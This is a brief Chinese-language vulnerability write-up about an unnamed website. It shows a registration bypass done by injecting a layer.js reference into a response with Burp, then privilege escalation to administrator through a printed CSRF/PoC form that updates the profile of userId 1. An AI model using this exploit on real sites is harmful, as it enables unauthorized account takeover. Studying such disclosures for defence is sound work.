漏洞过程:
- 注册用户(这里很奇葩,网站把没引入
layer.js
来限制用户注册,然后用burp
抓取然后往返回包里添加http://res.layui.com/layui/release/layer/dist/layer.js?v=3111
即可) - 注册登录后存在越权漏洞,原理如下
我是id
为2000
的用户,然后我在修改资料的时候存在越权漏洞,抓包修改id
为1
的账户也就是管理员的账户信息,然后程序就会自动认为我是管理员,然后给我赋值为管理员权限,如下是过程
复现过程
1、注册用户(这里是可以绕过的注册)
比如点击注册的时候是没反应的
看f12
测试,看出没有引入layer
,然后我们去找到这个js
链接
1 | http://res.layui.com/layui/release/layer/dist/layer.js?v=3111 |
然后抓返回包添加进去
注册成功后登陆进去,访问如下poc
即可,这个html
页面是修改id
为1
用户的性别为女性,即可达到管理员权限,原理解释过了。
1 | <html> |
2 | <!-- CSRF PoC - generated by Burp Suite Professional --> |
3 | <body> |
4 | <script>history.pushState('', '', '/')</script> |
5 | <form action="http://不告诉你/system/user/profile/update" method="POST"> |
6 | <input type="hidden" name="userId" value="1" /> |
7 | <input type="hidden" name="sex" value="1" /> |
8 | <input type="submit" value="Submit request" /> |
9 | </form> |
10 | </body> |
11 | </html> |
然后就变成管理员了 =。=